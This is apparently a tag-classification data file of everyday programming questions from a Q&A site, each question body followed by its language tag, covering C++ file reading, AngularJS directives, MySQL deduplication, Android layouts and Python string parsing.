retrieving all numbers from a certain text file  i have the following program:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;cstdlib&gt;  using namespace std;  void tellen () {     ifstream input;     ofstream output;     char kar;     input.open ( test  ios::in);     kar = input.get();     while ( !input.eof() ){         if ( kar &gt;=  0  and kar &lt;=  9 ){             cout &lt;&lt; kar;             kar = input.get();         }         else             kar = input.get();      }     //cout &lt;&lt;  aantal characters:  &lt;&lt; aantalchar &lt;&lt; endl;     //cout &lt;&lt;  aantal regels:  &lt;&lt; aantalregels &lt;&lt; endl; }  int main() {     tellen();     return 0; } //main </code></pre>   what i intended this program to do is to show me all numbers in a certain text file ( test  in this case) in the command window. i m wondering why this doesn t work  i have a file called test but when i run this the command prompt gives me a blank. the problem persists when i change  test  to  test.txt . does anyone have a clue what the problem is  maybe it has to do with the location of the file,c++
php gd image resizing to smaller new image -> blurring problem  i am downscaling images from 200px wide to 190px wide  with <a href= http://www.white-hat-web-design.co.uk/articles/php-image-resizing.php  rel= nofollow noreferrer >this class</a>    here is what i get<a href= http://i40.tinypic.com/5as7eo.jpg  rel= nofollow noreferrer >alt text http://i40.tinypic.com/5as7eo.jpg</a>    img 1 = original - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - img 2 = smaller    i ve tried a few different widths but i get the same loss of sharpness/blurring with all image sizes. i have quality set to 100 (max),php
android : soft keyboard covering edit text up (adjustresize or adjustpan doesnt work)  android developers...    i am new in developing android application. thus  i really ask for a slow or details explanation about the problem:    <ol> <li> as the title  the soft keyboard always covering up the edit text. non of the adjustresize or adjustpan works.  </li> <li> i already search this problem  some people say to make the application not fullscreen. i already make my own simple theme which only consist:  false still/ it doesnt work. thus  how to disable full screen correctly  </li> <li> some people say to use scrollview. is it the only answer for it  because i would rather to use relative or linear layout. </li> <li> is there any simple answer to make the soft keyboard behaves well  </li> </ol>   thank you so much for your help :d    ps:   <ol> <li>android:minsdkversion= 7 </li> <li>i am targetting for 2.1</li> <li>there is no such implicit theme on my manifest that state the theme is fullscreen mode.</li> <li>the awkward is: my login activity  the edittext is sliding up to make a room for the soft keyboard. but whenever this activity is called again  the sliding up for edittext does not working. </li> </ol>   this is my activity xml:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt;  &lt;linearlayout      xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= fill_parent      android:layout_height= fill_parent      android:background= @color/bgcolor      android:orientation= vertical  &gt;          &lt;textview          android:id= @+id/texttitle          android:layout_width= wrap_content          android:layout_height= wrap_content          android:paddingtop= 20dp          android:clickable= false          android:layout_gravity= center_horizontal          android:text= transfer tanpa berita  /&gt;     &lt;textview          android:id= @+id/text          android:layout_width= wrap_content          android:layout_height= wrap_content          android:paddingtop= 30dp          android:text= no rekening tujuan:   /&gt;     &lt;edittext         android:id= @+id/transfernorek          android:layout_width= fill_parent          android:layout_height= wrap_content          android:layout_gravity= center_horizontal          android:inputtype= number           android:maxlength= 20 &gt;     &lt;/edittext&gt;     &lt;textview          android:id= @+id/text          android:layout_width= wrap_content          android:layout_height= wrap_content          android:paddingtop= 30dp          android:text= jumlah:   /&gt;     &lt;edittext         android:id= @+id/transferjumlah          android:layout_width= fill_parent          android:layout_height= wrap_content          android:layout_gravity= center_horizontal          android:inputtype= number           android:maxlength= 20 &gt;     &lt;/edittext&gt;     &lt;textview          android:id= @+id/text          android:layout_width= wrap_content          android:layout_height= wrap_content          android:paddingtop= 30dp          android:text= no hp tujuan:   /&gt;     &lt;edittext         android:id= @+id/transfernohp          android:layout_width= fill_parent          android:layout_height= wrap_content          android:layout_gravity= center_horizontal          android:inputtype= number           android:maxlength= 15 &gt;     &lt;/edittext&gt;       &lt;button         android:id= @+id/transferbutton          android:layout_width= wrap_content          android:layout_height= wrap_content          android:layout_gravity= center_horizontal          android:text= kirim           android:onclick= validatepin &gt;     &lt;/button&gt;  &lt;/linearlayout&gt; </code></pre>,android
having some trouble with c++  i m trying to write a program to check if a number between 1 and 9999999 is a number whose digits either stay the same or increases from left to right(the variable and function names are in vietnamese)   <pre><code>   #include&lt;stdio.h&gt;     int daykhonggiam(int n)     {         while (n&gt;=10)     {             int donvi=n%10;             n=n/10;             if(donvi&lt;n%10)             {                 return 0;             }     }     return 1;     }     int main(void)     {         for(int i=1;i&lt;=9999999;i++)                 {                     if(daykhonggiam(i)==1)                     printf( %d\n  i);     }     }   </code></pre>   the problem is  when i compile and run the code  only some of the results were shown( the results from 5555999 to 9999999 ). when i hit f9 i can the the results run from 1 but the  final screen only shows from 5555999 to 9999999. i tried an online compiler and all the results were shown. so i guessing my dev c++ 5.11 is the problem here. is there any chance any of you know why that s the case,c++
program crashes when trying to convert const char* to long long  when the program runs  it crashes at long long thislong = atoll(c); is there any reason for this     <pre><code>string converttobaseten(long long base4) {     stringstream s;     s &lt;&lt; base4;     string tempbase4;     s &gt;&gt; tempbase4;     s.clear();     string tempbase10;     long long total = 0;     for (signed int x = 0; x &lt; tempbase4.length(); x++) {          const char* c = (const char*)tempbase4[x];          long long thislong = atoll(c);          total += (pow(thislong  x));     }     s &lt;&lt; total;     s &gt;&gt; tempbase10;     return tempbase10; } </code></pre>,c++
remove duplicate records from one table with foreign keys in another table  i have a table  directors  and another table  company_directors .     in the directors table there are duplicate records with the same  fullname   i want to select just the one with the longest  address .    and i want to update the foreign key  directorid  in the  company_directors  table.    i have tried to use group by but i have no way of specifying which of the duplicates i want to keep... i also do not know how to go about updating the foreign key records to reflect the selected  director_id  of the duplicates.   <h1>update:</h1>   i have been able to flag the duplicate records as inactive by altering the  directors  table and adding an  active  column. <br> however i still want to correct the references in the  company_directors  table  before deleting the inactive/duplicate records.,mysql
access sibling elements in angularjs directive  i want to show an  hr  divider when it has previous and next siblings in below html content:   <pre><code>&lt;ul&gt;     &lt;li ng-if= condition1 &gt;one&lt;/li&gt;     &lt;li ng-if= condition2 &gt;two&lt;/li&gt;     &lt;divider&gt;     &lt;li ng-if= condition3 &gt;three&lt;/li&gt;     &lt;li ng-if= condition4 &gt;four&lt;/li&gt; &lt;/ul&gt; </code></pre>   the <code>divider</code> directive definition is as below:   <pre><code>restrict:  ea  transclude: true priority: -1 scope: {} template:  &lt;hr ng-if= show &gt;  link:     post:(scope  element  attrs) -&gt;       // check if divider element has previous and next siblings here; how to do it         scope.show = true </code></pre>   i am not sure how to access the sibling elements. i tried element.sibling()  element.next().     when i used element.parent().html() in console  it shows:   <pre><code>&lt;!-- ngif: condition1 --&gt; &lt;!-- ngif: condition2 --&gt; &lt;divider&gt;&lt;hr ng-if= show &gt;&lt;/divider&gt; &lt;!-- ngif: condition3 --&gt; &lt;!-- ngif: condition4 --&gt; </code></pre>   the ng-if conditions above are not evaluated before  though the priority has been set to  -1 .    can you please help.,angularjs
compare element s of two arrays which are in another array  checking first 2 elements:    <img src= https://i.stack.imgur.com/5bztn.png  alt= checking first 2 element >    checking next 2 elements:    <img src= https://i.stack.imgur.com/wmulz.png  alt= checking next 2 element >    i have this array  need to compare each 2 elements      <pre><code>var my_arr = [            [0 1 2]             [0 2 1]             [1 0 2]             [1 2 0]             [2 0 1]             [2 1 0]          ]; </code></pre>   i need to get this as final result. script must compare every 2 elements of every array and get only one of them   <pre><code>var new_arr = [            [0 1 2]             [0 2 1]           ]; </code></pre>,javascript
is there a way to delete some content from a field in mysql   eg: there is a field named <code>products_description</code> in table <code>products</code>.    <pre><code>&lt;p&gt;&lt;span class= apple-style-span &gt; &lt;p class= f12&amp;quot; &gt;product information of&lt;a href= http://www.example.com/1.html &gt;&amp;nbsp;&lt;strong&gt;pinocchio dvd (disney)&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt; &lt;b&gt;language:&lt;/b&gt;english  &lt;b&gt;boxed set:&lt;/b&gt;yes  &lt;b&gt;discs:&lt;/b&gt;2 pcs    &lt;b&gt;release date:&lt;/b&gt;9 february 1940  &lt;b&gt;condition:&lt;/b&gt;new  &lt;b&gt;weight:&lt;/b&gt;0.5kg    &lt;b&gt;format:&lt;/b&gt;support both ntsc &amp;amp; pal  &lt;b&gt;no. of season:&lt;/b&gt;    &lt;b&gt;name &lt;p class= f12 &gt;main images&lt;p&gt; </code></pre>   the <code>products_description</code> table have many  records like the above. now  i want to use some commonds to delete the content begin with<code>&lt;strong&gt;&lt;a href= http://www.example.com/1.html &gt;.....&lt;/a&gt;&lt;/strong&gt;</code> part. the url may be <code>http://www.example.com/2.html</code>... . if the <code>products_description</code> has it. thank u.,mysql
how to get current location display on map in asp.net  i am making an application in asp.net  which is called atm locator.i am display the map as well as the nearest atm display on a map by getting the current location.,asp.net
cplusplus.com says that the past-the-end of an std::string  shall not be dereferenced   i would like it if you could clear up some confusion for me. i was writing a function that removes duplicate characters in a string  e.g.  ab -->  aaabb .    <pre><code>void remove_dups(std::string&amp; str) {      std::string::iterator it = str.begin();     while (it != str.end()) {         if (*(it+1) == *it) {             str.erase(it+1);         } else {             ++it;         }     } }  </code></pre>   it seems to work when i test it. however  i was wondering  shouldn t there be a fencepost issue  when  it  is the end of the string  the if statement looks at the non-existent next character. according to cplusplus.com      <em><strong>the past-the-end character is a theoretical character that would follow the last character in the string. it shall not be dereferenced.</em></strong> (<a href= http://www.cplusplus.com/reference/string/string/end/  rel= nofollow >http://www.cplusplus.com/reference/string/string/end/</a>)    so i m wondering why my function seems to pass the tests and how i can rewrite the whole thing in an elegant way to get around the fencepost issue. (go easy on me  guys. i m a n00b.)    rewriting it like    <pre><code>void remove_dups(std::string&amp; str) {      std::string::iterator it = str.begin();     while (it != str.end()) {         if ((it+1) != str.end() &amp;&amp; *(it+1) == *it) {             str.erase(it+1);         } else {             ++it;         }     } }  </code></pre>   seems inelegant.,c++
what is the best way to determine if a system.datetime is midnight   it seems that there are several possible ways to determine if a given system.datetime represents midnight. what are the pros and cons of each  is one more readable or perform better than the others     edit: i believe that readability is more important than performance until profiling shows that there is an issue. that is why i asked about both.    example 1   <pre><code>public function ismidnight(byval value as date) as boolean     return value.timeofday = timespan.fromhours(0) end function </code></pre>   example 2   <pre><code>public function ismidnight(byval value as date) as boolean     return value.compareto(value.[date]) = 0 end function </code></pre>,.net
how can i convert list of dictionaries to list of lists   i have data like    <pre><code>data = [{ name : a    description : 1 }  { name : b    description : 2 }] </code></pre>   i want to convert the above to list of lists like this:   <pre><code>data = [[ a    1 ]  [ b    2 ]] </code></pre>   please tell me how to do this,python
passing between windows and writing  i have written a script that opens a pop up window   searches for a user   when finds  the user the search window closes and then the script shows the new user in the parent window.    basically i tried all of the script separately but i have problems when i pass between windows. the code ahead does not pass the found user  but passes one example user just for meantime to debug the code.    here is the script file: ( i will explain it later )   <pre><code>var orgwindow         var searchwindow  $(document).ready(function(){   $( .add_participants ).on( click   function() {     var orgwindow = window.self           var searchwindow = window.open( http://localhost:3000/users/search    _blank            left=200  top=100  height=300  width=300  menubar=yes );   }); });           function printuser(){   var a  = orgwindow.document.createelement( a );   a.setattribute( href   /users/show );   a.setattribute( id   3 );    var atext = orgwindow.document.createtextnode( elad bezalel );   var img = orgwindow.document.createelement( img );   img.setattribute( alt   el4 );   img.setattribute( src   /uploads/user/image/3/el4.jpg );   img.setattribute( height   150 );   img.setattribute( width   150 );    mydiv = orgwindow.document.getelementbyid( par );    a.appendchild(img);    var brk = orgwindow.document.createelement( br );   a.appendchild(brk);   a.appendchild(atext);    mydiv.appendchild(a); }  function add_user(){   user_id = $( #button ).data( user_id );   window.close(searchwindow);   window.blur(searchwindow);   window.focus(orgwindow);   orgwindow.document.write(printuser());   orgwindow.close(); }        </code></pre>   i am using jquery. when i click a button the search window open. then i find a user in the search window and click on another button (add user) and then the search window closes and the parent window gets focused. now i tried to implement the user image and name  but somehow it doesn t work.    how should i repair my script,javascript
"dynamically populated name for module  is is possible to have that module name dynamically populated. i am trying to stay away from code duplication. here is what i have:    app-categories.js;    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>(function () {
 
      use strict ;
 
     angular.module( app-categories   [ simplecontrols    ngroute    nganimate    addnewtask ])
         .config(function ($routeprovider) {</code></pre>
 </div>
 </div>
     app-tasks.js:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>(function () {
 
      use strict ;
 
     angular.module( app-tasks   [ simplecontrols    ngroute    addnewtask ])
     .config(function ($routeprovider) {</code></pre>
 </div>
 </div>
     and now another controller  addnewtaskcontroller.js  that should be shared by many modules  in my case by  app-categories  and  app-tasks :    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>(function () {
 
      use strict ;
 
     //angular.module( app-categories )
     angular.module( app-tasks )
     .controller( addnewtaskcontroller   addnewtaskcontroller);</code></pre>
 </div>
 </div>",angularjs
how to display image in html <pre><code>    &lt;!doctype html&gt; &lt;html&gt; &lt;img src =  img_0688  /&gt;   &lt;head&gt;     &lt;title&gt;an unexpected journey&lt;/title&gt;     &lt;link href= https://fonts.googleapis.com/css family=playfair+display:900|raleway:300  rel= stylesheet  type= text/css &gt;     &lt;link rel= stylesheet  type= text/css  href= style.css &gt;   &lt;/head&gt;   &lt;body&gt;     &lt;div class= container &gt;         &lt;h1&gt;goalbike&lt;/h1&gt;       &lt;a class= btn  href= # &gt;get started&lt;/a&gt;     &lt;/div&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   problem:  can t display image(from comp.) in html. my result turns out to be an img icon on the page.  here is a video i used to research: <a href= https://www.youtube.com/watch v=qerz5cqa2a8  rel= nofollow noreferrer >https://www.youtube.com/watch v=qerz5cqa2a8</a> here is an image of my result: <a href= https://i.stack.imgur.com/wgnc5.png  rel= nofollow noreferrer >enter image description here</a>,html
rails undefined variable @assets  i am following this  <a href= http://code.tutsplus.com/tutorials/build-a-dropbox-like-file-sharing-site-with-ruby-on-rails--net-17940  rel= nofollow >tutorial</a>    <br> my error is @asset variable which i am using in my _form.html.erb and index.html.erb is not working .it is saying <strong>first argument in form cannot contain nil or be empty</strong> .but when i replace it will :asset_path then it starts working <br> [assets_controller]   <pre><code>class assetscontroller &lt; applicationcontroller    before_filter :authenticate_user!  #authenticate for users before any methods is called      def index      @assets = current_user.assets         end      def new     @asset = current_user.assets.new   end    def create      @asset = current_user.assets.new(user_assets)     end     private     def user_assets          params.require(:asset).permit(:user_id  :uploaded_file)     end  end </code></pre>   <br> [assets/_form.html.erb] <br>   <pre><code>&lt;%= form_for @assets  :html =&gt; {:multipart =&gt; true} do |f| %&gt;    &lt;%= f.error_messages %&gt;       &lt;p&gt;          &lt;%= f.label :uploaded_file   file  %&gt;&lt;br /&gt;          &lt;%= f.file_field :uploaded_file %&gt;        &lt;/p&gt;    &lt;p&gt;&lt;%= f.submit  upload  %&gt;&lt;/p&gt;  &lt;% end %&gt; </code></pre>   <br>    [index.html.erb] <br>   <pre><code>  &lt;% title  assets  %&gt;      &lt;table&gt;        &lt;tr&gt;          &lt;th&gt;uploaded files&lt;/th&gt;        &lt;/tr&gt;         &lt;% for asset in @assets %&gt;           &lt;tr&gt;            &lt;td&gt;&lt;%= link_to asset.uploaded_file_file_name  asset.uploaded_file.url %&gt;&lt;/td&gt;            &lt;td&gt;&lt;%= link_to  show   asset %&gt;&lt;/td&gt;            &lt;td&gt;&lt;%= link_to  edit   edit_asset_path(asset) %&gt;&lt;/td&gt;            &lt;td&gt;&lt;%= link_to  destroy   asset  :confirm =&gt;  are you sure    :method =&gt; :delete %&gt;&lt;/td&gt;          &lt;/tr&gt;        &lt;% end %&gt;      &lt;/table&gt;      &lt;p&gt;&lt;%= link_to  new asset   new_asset_path %&gt;&lt;/p&gt; </code></pre>   <br>    [rake routes]   <pre><code>new_user_session get    /users/sign_in(.:format)       devise/sessions#new             user_session post   /users/sign_in(.:format)       devise/sessions#create     destroy_user_session get    /users/sign_out(.:format)      devise/sessions#destroy            user_password post   /users/password(.:format)      devise/passwords#create        new_user_password get    /users/password/new(.:format)  devise/passwords#new       edit_user_password get    /users/password/edit(.:format) devise/passwords#edit                          patch  /users/password(.:format)      devise/passwords#update                          put    /users/password(.:format)      devise/passwords#update cancel_user_registration get    /users/cancel(.:format)        devise/registrations#cancel        user_registration post   /users(.:format)               devise/registrations#create    new_user_registration get    /users/sign_up(.:format)       devise/registrations#new   edit_user_registration get    /users/edit(.:format)          devise/registrations#edit                          patch  /users(.:format)               devise/registrations#update                          put    /users(.:format)               devise/registrations#update                          delete /users(.:format)               devise/registrations#destroy                     root get    /                              homes#index                   assets get    /assets(.:format)              assets#index                          post   /assets(.:format)              assets#create                new_asset get    /assets/new(.:format)          assets#new               edit_asset get    /assets/:id/edit(.:format)     assets#edit                    asset get    /assets/:id(.:format)          assets#show                          patch  /assets/:id(.:format)          assets#update                          put    /assets/:id(.:format)          assets#update                          delete /assets/:id(.:format)          assets#destroy </code></pre>,ruby-on-rails
random number generating in objective-c   i want to generate random numbers between 1-100 in objective-c. each random number should be unique and not the same as a previously generated random number.,objective-c
what does uint32_max mean   i seen uint32_max in multiple languages  specifically in objective-c  but what is it      thank you in advance.,objective-c
c: how do i edit a line in an existing text file   im attempting to create a program that replaces 1 line in a text file  if that line matches a specific pattern  with a new line. i ve been looking at some simple functions but none of them does what i want (<a href= http://www.tutorialspoint.com/cprogramming/c_file_io.htm  rel= nofollow >http://www.tutorialspoint.com/cprogramming/c_file_io.htm</a>). i guess that i could create a new textfile and write the lines that needs to be changed to that file and copy the lines over that needs to remain the same but i could imagine it would be easier having 1 file.    so here is my question  is it possible to replace one line with another in an existing file,c
how do i get distinct items from one table into another  <blockquote>    <strong>edit</strong>: because i m using exacttarget (salesforce marketing cloud)  i only have access to the <strong>select</strong> statement.  none of the good sql that would make this easy.  </blockquote>   i have a table of customers and a table of coupons.  i d like to assign unique codes to eligible customers but i m a little bit stuck on query #1.  (query #2 is an easy join.)    <strong>table 1</strong>   <pre> +-------------+-------------+------------+ | customer    | coupontype  | couponcode | +-------------+-------------+------------+ | customer1   | 20pctoff    |            | | customer2   | 20pctoff    |            | | customer3   | 10pctoff    |            | | customer4   | null        |            | +-------------+-------------+------------+ </pre>   <strong>table 2</strong>   <pre> +-------------+-------------+------------+ | coupontype  | couponcode  | assignedto | +-------------+-------------+------------+ | 10pctoff    | coupon1     |            | | 20pctoff    | coupon2     |            | | 30pctoff    | coupon3     |            | +-------------+-------------+------------+ </pre>   query #1 would result in the following:    customer1 = coupon2<br /> customer2 = none (no more 20pctoff available)<br /> customer3 = coupon1<br /> customer4 = none (not eligible)    the second sql to update table 2 is a simple join (i don t need help with that).,sql
checkbox input undefined when unchecked - angularjs  i have an issue with my <code>angularjs</code> checkbox where they become <code>undefined</code> when they are unchecked. can t figure out why this is happening.   <pre><code>&lt;input type= checkbox  name= available  ng-model= formdata.available  ng-true-value= 1  ng-false-value= 0  required&gt; </code></pre>   with the above code; default on page load is <code>0</code>. when its checked it becomes <code>1</code>. when i uncheck it it becomes <code>undefined</code>    any help appreciated.,angularjs
proper method for creating manifests with mysql  i m somewhat new to db structuring and i have a fairly general question  but i don t know how to word it.  instead  here is a use case that demonstrates the question.    i m preparing an inventory allocation database (mysql) that will be incorporated into a web ui employee front end  for the purposes of managing inventory.  there is a shipments table  each entry representing a shipment with a shipping address  tracking number  ship date  etc.  i want to provide a way for an employee to create an itemized manifest that references a particular shipment and lists the items that are included in the shipment.  each manifest will have a variable but usually large amount of line items and each line item will have several different descriptive columns.  it seems to me that i can t have a master manifests table with each entry being a manifest - there would be too many columns and they would have a hard limit.  it also seems to me that creating a new table in my database every time a manifest is created (there will be thousands) can t be the way.      so the question for this particular use case is - does mysql provide a structure to facilitate this process  or is this a matter of document generation within the scope of my php and html code   keep in mind  these manifests will need to be queried and indexed just like the rest of the db.    i have a number of use cases that are along the same line  so i feel there must be some optimized way of doing this.,mysql
how can i detect a click on a dynamically generated element even when its descendant is clicked   a structure <code>&lt;a&gt;&lt;img&gt;&lt;/img&gt;&lt;/a&gt;</code> (potentially more deeply nested) is generated dynamically (for simplicity assume this is the only content on the page). i want to listen to a click event on the <code>a</code> element. since it s dynamically generated  i have to attach the listener to the document and then check <code>event.target</code>. however  since the element i m interested in has a descendant  <code>event.target</code> only points to the image. how can i do this,javascript
error while running the server  as i have migrated my rails 3.0.0 project to 3.1.0  i have made all the changes as given in this tutorial <a href= http://railscasts.com/episodes/282-upgrading-to-rails-3-1  rel= nofollow >http://railscasts.com/episodes/282-upgrading-to-rails-3-1</a> except to include the asset pipelining. everything got installed fine but when i run the server i m getting the below error.   <pre><code>=&gt; booting webrick =&gt; rails 3.1.0 application starting in development on http://0.0.0.0:1234 =&gt; call with -d to detach =&gt; ctrl-c to shutdown server exiting /home/vikas/.rvm/gems/ruby-1.9.3-p448/gems/activesupport-3.1.0/lib/active_support/core_ext/module/aliasing.rb:31:in `alias_method : undefined method `render  for module `actionview::rendering  (nameerror) from /home/vikas/.rvm/gems/ruby-1.9.3-p448/gems/activesupport-3.1.0/lib/active_support/core_ext/module/aliasing.rb:31:in `alias_method_chain  from /home/vikas/aptana studio 3 workspace/paras6/vendor/plugins/active_scaffold/lib/active_scaffold/extensions/action_view_rendering.rb:95:in `&lt;module:rendering&gt;  from /home/vikas/aptana studio 3 workspace/paras6/vendor/plugins/active_scaffold/lib/active_scaffold/extensions/action_view_rendering.rb:17:in `&lt;top (required)&gt;  </code></pre>   please anyone help me out  suggest me what changes should i make. thanks in advance,ruby-on-rails
how to prevent page refresh during user input validation  using form.onsubmit  my html page contains a <code>form</code> that has two sections for entering text (<code>section1</code> and <code>section2</code>) . because i want to validate user input in each section separately  i created <code>function1</code> for validating <code>section1</code> and <code>function2</code> for validating <code>section2</code>:   <pre><code>var formisvalid = true; // global flag-variable to indicate form is valid  function function1() {    if (at least one field in section 1 has bad data) {       formisvalid = false;       return false;    }    else {       formisvalid = true;       return true;    } }  // function2 is identical  except that it validates section2 // unlike section1  section 2 only has one input field </code></pre>   the idea is that once the user clicks <code>submit</code> button  the browser will first validate <code>section1</code>  and if the user data is valid  proceed to validating <code>section2</code>. if at some point  the data in one of the <code>field</code>s is bad  then the browser will <code>alert</code> the user and let him enter new values for missing/invalid <code>field</code>s.    here s my code to do it:   <pre><code>function begintest() {    document.forms[0].onsubmit = function() {       function1();       if (formisvalid == false) {          function1();          return false; // supposed to prevent refreshing  but it does not       }       function2();       if (formisvalid == false) {          function2();          return false; // again  problem with automatic page reloading       }    } } </code></pre>   the problem is that whenever an invalid value is detected  <strong><em>the whole page is refreshed and the user has to enter every piece of data over again</em></strong>. my goal is to validate the page with no refreshes. in other words  whatever values entered in <code>input</code> fields in either section must remain there if they have been successfully validated.    q: how do i prevent the browser from refreshing the page during validation     please  pure javascript only  no jquery. thank you!,javascript
unable to call $apply method in angularjs <blockquote> <pre><code>&gt; angular.min.js:107 error: [$rootscope:inprog] &gt; http://errors.angularjs.org/1.4.8/$rootscope/inprog p0=%24apply &gt;     at angular.min.js:6 &gt;     at t (angular.min.js:126) &gt;     at r.$apply (angular.min.js:133) &gt;     at b.$scope.nextstep (equipment_control_sheet.js:97) &gt;     at fn (eval at compile (angular.min.js:213)  &lt;anonymous&gt;:4:215) &gt;     at e (angular.min.js:254) &gt;     at b.$eval (angular.min.js:133) &gt;     at b.$apply (angular.min.js:134) &gt;     at htmlbuttonelement.&lt;anonymous&gt; (angular.min.js:254) &gt;     at htmlbuttonelement.dispatch (jquery.min.js:3) </code></pre> </blockquote>   this is what i am getting error when i am trying to call $scope.$apply() method.    is there any specific way to call it     right now i am calling it after removing element to refresh scope contents as even after removing that element  its entry with null/undefined value still exists.    current $scope entry which i have removed is coming as follows    <pre><code>&gt; caliber2 : yg $$debounceviewvaluecommit : ƒ (b) &gt; $$lastcommittedviewvalue : undefined $$parentform : fd {$error: {…}  &gt; $$success: {…}  $pending: undefined  $name:  ecsadd   $dirty: false  &gt; …} $$parseandvalidate : ƒ () $$rawmodelvalue : undefined &gt; $$runvalidators : ƒ (a b c) $$setoptions : ƒ (a) $$success : &gt; {maxlength: true} $$writemodeltoscope : ƒ () $asyncvalidators : {} &gt; $commitviewvalue : ƒ () $dirty : false $error : {required: true} &gt; $formatters : [ƒ] $invalid : true $isempty : ƒ (a) $modelvalue : &gt; undefined $name :  caliber2  $options : null $parsers : [] $pending : &gt; undefined $pristine : true $render : ƒ () $rollbackviewvalue : ƒ () &gt; $setdirty : ƒ () $setpristine : ƒ () $settouched : ƒ () $setuntouched &gt; : ƒ () $setvalidity : ƒ (a e f) $setviewvalue : ƒ (a b) $touched : &gt; false $untouched : true $valid : false $validate : ƒ () $validators : &gt; {required: ƒ  maxlength: ƒ} $viewchangelisteners : [] $viewvalue : &gt; undefined &gt; __proto__ : object </code></pre>   this is my remove row code    <pre><code>$scope.removerow = function(i) {     temp = [];     $.each($( tr[data-index=   + i +   ] ).find( td ).find( select  input )  function(i j){         var nm = $(this).attr( name );         temp.push(nm);          // $scope.form[nm].$destroy();         // delete $scope.form[nm];         $scope.form[nm] =   ;         // console.log($scope.form);     });     $( tr[data-index=   + i +   ] ).remove();     // var oldlist = $scope.form;     // $scope.items = {};     // angular.foreach(oldlist  function(x j) {     //     if(temp.indexof(j) == -1){     //         $scope.items[j] = x;     //     }     // });     // $scope.form = $scope.items;     // var oldlist = $scope.ecsadd;     // $scope.items = {};     // angular.foreach(oldlist  function(x j) {     //     if(temp.indexof(j) == -1){     //         $scope.items[j] = x;     //     }     // });     // $scope.ecsadd = $scope.items;       // $timeout(function(){ $scope.$digest();$scope.$apply(); });   } </code></pre>   and here is the test case     i have one row  i added one new row  and then removed the added row(add more functionality).     every element has validation in every row.    but what i am facing is  its unable to remove validation for elements inside the row which are removed.    am i clear,angularjs
merge select statements in sql  i have 2 select statements  but i need to merge both results  and show <code>primary_material</code> beside the <code>secondary_material</code> column. i am currently using union which displays everything in rows (about 300 rows)  but i really only need 150 rows  and want it displayed in extra columns instead.   <pre><code>select rm_materials.materialcode matcode         rm_mrpattributedefinitions.shortdescription processarea         rm_mrpattributes.attributevalue attvalue from   dmi_manu32.dbo.rm_mrpattributedefinitions        inner join (dmi_manu32.dbo.rm_materials                    inner join dmi_manu32.dbo.rm_mrpattributes                            on (rm_materials.materialuid = rm_mrpattributes.materialuid)                               and (rm_materials.internalversionno = rm_mrpattributes.materialversionno))                on rm_mrpattributedefinitions.mrpattributedefinitionsuid = rm_mrpattributes.mrpattributedefinitionsuid where  rm_materials.activetf = 1        and rm_mrpattributes.activetf = 1        and  rm_mrpattributedefinitions . activetf  = 1        and  rm_materials . deletedtf  = 0        and  rm_mrpattributedefinitions . shortdescription  = n primary_material         and  rm_materials .activetf = 1 union select rm_materials.materialcode matcode         rm_mrpattributedefinitions.shortdescription processarea         rm_mrpattributes.attributevalue attvalue from   dmi_manu32.dbo.rm_mrpattributedefinitions        inner join (dmi_manu32.dbo.rm_materials                    inner join dmi_manu32.dbo.rm_mrpattributes                            on (rm_materials.materialuid = rm_mrpattributes.materialuid)                               and (rm_materials.internalversionno = rm_mrpattributes.materialversionno))                on rm_mrpattributedefinitions.mrpattributedefinitionsuid = rm_mrpattributes.mrpattributedefinitionsuid where  rm_materials.activetf = 1        and rm_mrpattributes.activetf = 1        and  rm_mrpattributedefinitions . activetf  = 1        and  rm_materials . deletedtf  = 0        and  rm_mrpattributedefinitions . shortdescription  = n secondary_material         and  rm_materials .activetf = 1 </code></pre>,sql
install_failed_uid_changed error while installing application <pre><code>[2013-04-06 14:48:32 - splitpanelayout-demo] android launch! [2013-04-06 14:48:32 - splitpanelayout-demo] adb is running normally. [2013-04-06 14:48:32 - splitpanelayout-demo] performing com.mobidevelop.widget.demo activity launch [2013-04-06 14:48:32 - splitpanelayout-demo] automatic target mode: using device  015d188469381013  [2013-04-06 14:48:32 - splitpanelayout-demo] uploading splitpanelayout-demo.apk onto device  015d188469381013  [2013-04-06 14:48:32 - splitpanelayout-demo] installing splitpanelayout-demo.apk...   [2013-04-06 14:48:34 - splitpanelayout-demo] installation error: install_failed_uid_changed [2013-04-06 14:48:34 - splitpanelayout-demo] please check logcat output for more details. [2013-04-06 14:48:34 - splitpanelayout-demo] launch canceled! </code></pre>,android
switch on gps automatically without user interaction  is it possible to switch on the gps programmatically  without user interaction,ios
why do these two forms of iteration produce different results  <pre><code>alist = [ 1    2    3 ] blist = alist[:]  for x in alist:     if not  @gmail.com  in alist:         x = x +  @gmail.com   for x in range(len(blist)):     if not  @gmail.com  in blist[x]:         blist[x] = blist[x] +  @gmail.com  </code></pre>   the first block of code does not implement what i need  yet the second one does.     what is the difference between these two blocks of code,python
find ipv4 and ignore ipv6 ip addresses with python  i have a strings as mentioned in the below format  i would like to remove only ipv6 address from the string and print only the ipv4 address as a string. i tried with sub string and regex   but i am unable to get correct regex for this string. could any one help to provide the solution.    actual format of inputs string given to python program as below format (square brackets included)  where ipv6 address can be present either at starting or ending of the string.   <pre><code>[ fe80::2ff:fe21:30f/64    17.2.1.2/24 ] [ fe80::2ff:fee4:2b43/64    17.2.1.3/24 ] [ 17.2.10.2/24    fe80::2ff:fe42:f251/64] [ 192.168.4.1/30    fe80::2ff:fe19:cdd7/64 ] [ fe80::2ff:fe1e:e328/64    17.2.4.1/24 ] </code></pre>   output should be display as only ipv4 address as strings   <pre><code>    17.2.1.2/24      17.2.1.3/24      17.2.10.2/24      192.168.4.1/30      17.2.4.1/24  </code></pre>,python
